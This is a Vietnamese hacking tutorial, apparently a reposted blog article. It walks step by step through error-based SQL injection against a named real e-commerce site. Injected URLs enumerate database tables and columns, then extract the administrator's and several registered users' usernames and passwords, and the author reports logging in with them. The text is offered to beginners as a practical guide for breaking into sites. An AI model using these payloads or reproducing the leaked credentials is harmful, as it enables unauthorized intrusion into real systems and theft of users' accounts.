Bài viết này do bạn Neo viết ra, nhằm giúp đỡ các bạn không biết gì về Hack có thể Hack được một trang Web khi phát hiện bị lỗi SQL Injection và có sử dụng OLE DB đồng thời cũng để khích lệ các thành viên và điều hành viên tích cực Post bài và săn Bug nhiều hơn nữa trong forumj của bạn ấy. Vì thấy đây là 1 bài viết khá bổ ích nên muội đã sưu tầm lại cho các huynh tìm hiểu.
======================
Ở đây tôi xin giới thiệu cách Hack vào Website http://www.equipmentworldindia.com vì Website này không có nhiều thông tin quan trọng nên mức ảnh hưởng khi đưa ra cho các bạn thực hành sẽ không cao.
Bây giờ ta bắt đâu công việc
bug : http://www.equipmentworldindia.comsh…asppid= 1’/
Kết quả
Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E14)
Unclosed quotation mark before the character string ”.
shopViewProduct.asp, line 115
1. Thu thập cấu trúc dữ liệu
Ta bắt đầu lấy cấu trúc dữ liệu của Website này.
Lấy Table đầu tiên trong CSDL của Website
Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables))##sp_ password
Cho ta kết quả
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the nvarchar value ‘EWIAlsoArticle’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy ta có table đầu tiên ‘EWIAlsoArticle’
Lấy tiếp table thứ hai
Trích dẫn:httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables%20wher e%20table_name%20not%20in%20(’EWIAlsoArticle’)))## sp_password
Kết quả
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the nvarchar value ‘dtproperties’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy table thứ hai là ‘dtproperties’
Lấy tiếp table thứ ba
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20table_ name%20from%20information_schema.tables%20where%20 table_name%20not%20in%20(’ewialsoarticle’,’dtprope rties’)))/##sp_password
Kết quả
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the nvarchar value ‘ewi_Admin_User’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy ta có table thứ 3 là ‘ewi_Admin_User’ một Table quan trọng.
Nếu muốn các bạn có thể tiếp tục lấy thêm các table khác, để lấy được đúng table mà bạn cần.
Làm tương tự cho các table tiếp theo, các bạn có thể lấy được table EWIUsers là Table chứa thông tin về thành viên đăng ký trong Website này.
2. Lấy User và Pass Admin
Biết Table Admin là ta phải thu thập nốt các Column trong Table đó.
Lấy Column đầu tiên
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)))/##sp_password
Kết quả
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the nvarchar value ‘Userid’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy ta có Column đầu tiên là ‘Userid’
Sau đó lấy tiếp column tiếp theo bằng where column_name not in bằng URL sau
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)%20and%20column_nam e%20not%20in%20(’userid’)))/##sp_password
Kết quả
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the nvarchar value ‘Password’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy ta lấy được column thứ hai là Password.
Bây giờ thì ta lấy Pass Admin được dễ dàng.
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20userid %2b”%2bpassword%20from%20ewi_admin_user))/##sp_password
Kết quả là
Trích dẫn:Error Type
Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the varchar value ‘ewistarplus’ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy UserPass của Admin là ewistarplus
Đăng nhập thử
http://www.equipmentworldindia.com
Đăng nhập thành công. Bạn đã là Admin của Site này.
Và từ đó có thể quản lý người dùng dễ dàng. Tuy nhiên phần dưới đây tôi vẫn trình bày cách lấy User và Pass của người dùng nhằm mục đích phần này để các bạn tự làm theo giống như đã là với lấy Pass Admin. Nếu ko làm được các bạn có thể xem Guide tiếp.
3. Lấy thông tin người dùng
Table chứa User và Pass của người sử dụng trong site này là ‘EWIUsers’. Các bạn thu thập các column của table này và có danh sách các column như sau
Trích dẫn:‘User_Id’,’Loginname’,’Password’,’UserType’,’Creat iondate’
(Thông qua URL http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewiusers’)%20and%20column_name%20no t%20in%20(’user_id’,’loginname’,’password’,’userty pe’,’creationdate’)))/##sp_password)
Lấy User và Password của người dùng đầu tiên
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers))/##sp_password
Kết quả
Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the varchar value ‘advanced1advanced1′ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy UserPass của người dùng đầu tiên là advanced1advanced1
Đăng nhập thử http://www.equipmentworldindia.com
Nhập User và Pass vào Form Login phía tay trái, đăng nhập thành công. Done !
Bạn có thể lấy User và Pass của người dùng tiếp theo bằng where User_id not in
Ví dụ lấy UserPass của người thứ hai
Trích dẫn:http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers%20where%20us er_id%20not%20in%20(’1′)))/##sp_password
Kết quả
Trích dẫn:Microsoft OLE DB Provider for SQL Server (0×80040E07)
Syntax error converting the varchar value ‘agilent1agilent1′ to a column of data type int.
shopViewProduct.asp, line 115
Như vậy User và Pass của người thứ hai là agilent1agilent1
Đến đây tôi xin kết thúc bài viết của mình. Phần còn lại các bạn có thể tự làm nốt hoặc nghiên cứu gì đó cao siêu hơn.
Chúc các bạn Hack vui vẻ và đừng Drop DB của người ta nhé )
Link: http://phucjimy.wordpress.com/2008/04/02/khai-thac-sql-injection-d%E1%BB%83-hack-db/